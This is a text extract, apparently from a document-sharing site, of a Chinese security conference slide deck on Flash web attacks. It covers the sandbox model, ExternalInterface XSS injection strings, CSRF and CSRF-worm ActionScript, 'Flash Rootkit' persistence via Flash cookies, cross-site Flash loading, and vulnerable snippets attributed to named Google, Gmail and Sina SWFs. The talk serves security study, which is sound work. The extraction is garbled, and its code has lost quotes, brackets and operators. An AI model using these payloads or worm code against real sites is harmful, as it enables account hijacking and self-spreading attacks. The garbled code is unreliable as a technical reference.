隱蔽的戰(zhàn)場(chǎng)—Flash Web攻擊_第1頁(yè)
隱蔽的戰(zhàn)場(chǎng)—Flash Web攻擊_第2頁(yè)
隱蔽的戰(zhàn)場(chǎng)—Flash Web攻擊_第3頁(yè)
隱蔽的戰(zhàn)場(chǎng)—Flash Web攻擊_第4頁(yè)
隱蔽的戰(zhàn)場(chǎng)—Flash Web攻擊_第5頁(yè)
已閱讀5頁(yè),還剩60頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、隱蔽的戰(zhàn)場(chǎng)Flash Web攻擊余弦cat readme KNOWNSEC VP, 404 Lab Leader KCon Sebug ZoomEye - CyberSpace Search Engine Web2.0 Hacker Web前端黑客技術(shù)揭秘 ls -l Flash Web攻擊的關(guān)鍵點(diǎn) 漏洞利用 漏洞挖掘Flash Web攻擊的關(guān)鍵點(diǎn)權(quán)限模型Flash Web攻擊的關(guān)鍵點(diǎn)沙箱 本地沙箱 Security.LOCAL_WITH_FILE Security.LOCAL_WITH_NETWORK Security.LOCAL_TRUSTE

2、D . 遠(yuǎn)程沙箱 Security.REMOTE crossdomain.xml Security.allowDomainDOM DOM object/embed allowNetworking all internal(default) none allowScriptAccess never sameDomain(default) always安全域應(yīng)用程序域More: http:/ Web攻擊的關(guān)鍵點(diǎn)JavaScript ActionScript與JavaScript交互 擴(kuò)大了攻擊面 本質(zhì)是DOM操作 以XML形式給ActionScript傳遞值 DOM劫持是一件輕松的事 這個(gè)DOM的

3、一些安全缺陷帶來(lái)的影響可能是致命的DOM操作function _flash_arrayToXML(obj) var s = ;for (var i=0; iobj.length; i+) s += + _flash_toXML(obji) + ;return s+;function _flash_argumentsToXML(obj,index) var s = ;for (var i=index; iobj.length; i+) s += _flash_toXML(obji);return s+;DOM操作function _flash_objectToXML(obj) var s = ;

4、for (var prop in obj) s += + _flash_toXML(objprop) + ;return s+;function _flash_escapeXML(s) return s.replace(/&/g, &).replace(/g, >).replace(/g, ").replace(/g, ');DOM操作function _flash_toXML(value) var type = typeof(value);if (type = string) return + _flash_escap

5、eXML(value) + ; else if (type = undefined) return ; else if (type = number) return + value + ; else if (value = null) return ; else if (type = boolean) return value ? : ; else if (value instanceof Date) return + value.getTime() + ; else if (value instanceof Array) return _flash_arrayToXML(value); el

6、se if (type = object) return _flash_objectToXML(value); else return ; /?DOM操作function _flash_addCallback(instance, name) instancename = function () return eval(instance.CallFunction( + _flash_argumentsToXML(arguments,0) + ); function _flash_removeCallback(instance, name) instancename = null;執(zhí)行JavaSc

7、ript 1 javascript偽協(xié)議 AS2 getURL(javascript:alert(1) AS3 navigateToURL(new URLRequest(javascript:alert(1),_self);執(zhí)行JavaScript 2 ExternalInterface.call a=eval&c=alert(1) try _flash_toXML(eval(alert(1); catch (e) ; var param:Object = root.loaderInfo.parameters;var action:String = parama;var cmd:Str

8、ing = paramc;flash.external.ExternalInterface.call(action, cmd);執(zhí)行JavaScript 2 a=a();catch(e)alert(2);/&c=alert(1) try _flash_toXML(a();catch(e)alert(2);/(alert(1) ; catch (e) ; 執(zhí)行JavaScript 2 a=a&c=);catch(e)alert(1);/ try _flash_toXML(a();catch(e)alert(1);/) ; catch (e) ; 執(zhí)行JavaScript 2 Ex

9、ternalInterface.call魔法缺陷本質(zhì) 轉(zhuǎn)義為 轉(zhuǎn)義為 本應(yīng)該是: 轉(zhuǎn)義為 沒(méi)被轉(zhuǎn)義執(zhí)行JavaScript 3 ExternalInterface.addCallback魔法缺陷 document.getElementById(swf).test(); _flash_addCallback(document.getElementById(swf_ie), test); aa;alert(document.domain);/aaimport flash.external.ExternalInterface;function test(k:String=default):Strin

10、g var str:String = aa;alert(document.domain);/aa;return str;ExternalInterface.addCallback(test, test);輸入Flash Web攻擊的關(guān)鍵點(diǎn)URL參數(shù) AS2 _root.argv _global.argv _level0.argv 全局變量未初始化問(wèn)題 AS3 root.loaderInfo.parametersXML 輸入是XML文件 http:/ XML是Flash最喜歡的數(shù)據(jù)格式 new URLRequest(http:/ LocalConnection allowDomain(*) 暴露

11、的socket相關(guān)接口可以作為輸入 非HTTP層面的法則 .LSO LSO(Flash Cookie) SharedObject + ExternalInterface.addCallback 通過(guò)addCallback即可控制LSO的值 再通過(guò)addCallback魔法缺陷可以自動(dòng)執(zhí)行JavaScript 更多細(xì)節(jié)見(jiàn):Flash Rootkit小節(jié)SWF 輸入是SWF文件 http:/ http:/ AS2 loadMovie() AS3 new Loader() + URLRequest(URLLoader) 更多細(xì)節(jié)見(jiàn):XSF小節(jié)HTTPFlash Web攻擊的關(guān)鍵點(diǎn)HTTP LoadV

12、ars/sendAndLoad/sendToURL/URLLoader/URLRequest GET/POST 遵循瀏覽器的同源策略 Flash特有的 crossdomain.xml Security.allowDomain 可能導(dǎo)致意外的跨域驚喜漏洞利用Flash XSS漏洞利用XSS 在利用上就是XSS沒(méi)什么好談的 需要特別注意的是IE會(huì)有如下特性Flash CSRF漏洞利用CSRF GET 可以用目標(biāo)域的缺陷SWF來(lái)間接發(fā)送GET型CSRF,這樣就帶上目標(biāo)域Referer了 POST 單純POST和常規(guī)CSRF沒(méi)什么區(qū)別 唯一的優(yōu)勢(shì):非常安靜,但這點(diǎn)往往是致命的 獲取信息 crossdo

13、main.xml的授權(quán)CSRF DEMO 搜狐微博document.forms0.submit();成功后會(huì)提示JSON文件下載提示,這樣的CSRF就容易暴露import .URLRequest;function post(msg) var url = new URLRequest(http:/ var _v = new URLVariables(); _v = status=+msg; url.method = POST; url.data = _v; sendToURL(url);post(flash_csrf_here); / 完美 :)CSRF Worm DEMO Fanfou Fla

14、sh Worm 2008水印漏洞利用LSO 曾經(jīng)Flash Cookie是跨瀏覽器共享 對(duì)于開(kāi)發(fā)人員來(lái)說(shuō)這個(gè)特性太酷 對(duì)于攻擊者來(lái)說(shuō)這個(gè)特性也很酷 相比傳統(tǒng)的HTTP Cookie,不容易被清理掉 用戶即使換了IP,升級(jí)了瀏覽器,還是可以唯一標(biāo)定 現(xiàn)狀 Chrome把Flash Cookie隔離了Flash Rootkit漏洞利用Rootkit LSO+allowDomain(*)+addCallback魔法缺陷 = Flash RootkitEvil SitePageFoo SiteSWFDOM object/embedFoo SiteLSOaddCallback MagicEvil Jav

15、aScriptFoo SitePageFlash Rootkit DEMO一些限制的繞過(guò) allowDomain(*) 下的XSS頁(yè)面來(lái)繞過(guò) MITM劫持攻擊 如果沒(méi)addCallback寫LSO的接口? XSF大法,見(jiàn)XSF小節(jié)XSF漏洞利用XSF XSF(Cross Site Flash)即跨站Flash攻擊 本質(zhì) 輸入是SWF文件 http:/ http:/ AS2 loadMovie() AS3 new Loader() + URLRequest(URLLoader) 權(quán)限模型權(quán)限模型foo & evil foo evil 更有意思的在這foo - evilFoo Site S

16、WFEvil Site SWFLoaderallowDomain(*)public classsteal dataFoo Sitecrossdomain.xmlallow-access-fromfoo - evil 這種模型關(guān)鍵點(diǎn) allowDomain(*) XSF之后很多public函數(shù)可以直接控制,如: 有關(guān)的初始化函數(shù)需要成功運(yùn)行,否則allowDomain會(huì)失敗try var domain:ApplicationDomain = loader.contentLoaderInfo.applicationDomain;/動(dòng)態(tài)獲取定義var boxClass:Class = domain.

17、getDefinition(com.example.Box) as Class;var boxInstance:Object = new boxClass();catch(err:Error)trace(err.message);foo - evil Flash Rootkit另類植入 當(dāng)不存在addCallback接口時(shí) 通過(guò)這種方式也可以植入Flash Rootkit特殊授權(quán) sharedEvents var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents; 類似HTML5的postMessage機(jī)制 暴露的事件

18、可以作為輸入XSF DEMO 案例分析漏洞挖掘人工漏洞挖掘關(guān)鍵點(diǎn) 靜態(tài)調(diào)試 成功反編譯 需應(yīng)對(duì)Flash的多種文件格式差異 動(dòng)態(tài)調(diào)試 Fiddler等抓包觀察會(huì)關(guān)聯(lián)請(qǐng)求什么資源 crossdomain.xml XML文件 SWF文件 .關(guān)鍵點(diǎn) 我的字典_root/_global/_level0root.loaderInfo.parametersLoadVarsLoaderloadBytesURLLoaderURLRequestXMLloadMovieExternalInterfaceallowDomainallowInsecureDomainSharedObjectgetURLnavigate

19、ToURLsharedEventsGoogle SWF XML劫持var myXML = new XML();var _callResult_162 = myXML.load( ( http:/ + _root.host ) + /load.php?action=playerad );myXML.ignoreWhite = True;myXML.onLoad = function (success) type = myXML.childNodes.0.childNodes.0.childNodes.0.nodeValue; adurl = myXML.childNodes.0.childNod

20、es.1.childNodes.0.nodeValue; _global.sec = Number(myXML.childNodes.0.childNodes.2.childNodes.0. nodeValue) ; std = myXML.childNodes.0.childNodes.3.childNodes.0.nodeValue; if ( ( std = 1 ) ) if ( ( type = 1 ) ) mp1.contentPath = ( ( ( http:/ + _root.host ) + / ) + adurl ); var _callResult_267 = mp1.p

21、lay();XML劫持: http:/ SWF XSS filetype:swf site: http:/ ( !(_callResult_6871 ) ) var _callResult_6880 = getURL(_level0.onend, );Gmail SWF XSS https:/ flashParams:* = LoaderInfo(this.root.loaderInfo).parameters;API_ID = apiId in flashParams ? (String(flashParams.apiId) : ();API_INIT = apiInit in flashP

22、arams ? (String(flashParams.apiInit) : (onUploaderApiReady);.if (ExternalInterface.available) ExternalInterface.call(API_INIT, API_ID);Sina Flash Rootkit/ ActionScript:Security.allowDomain(*);ExternalInterface.addCallback(getLazyInterface,cInter.getLazyInterface);ExternalInterface.addCallback(setLazyInte

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論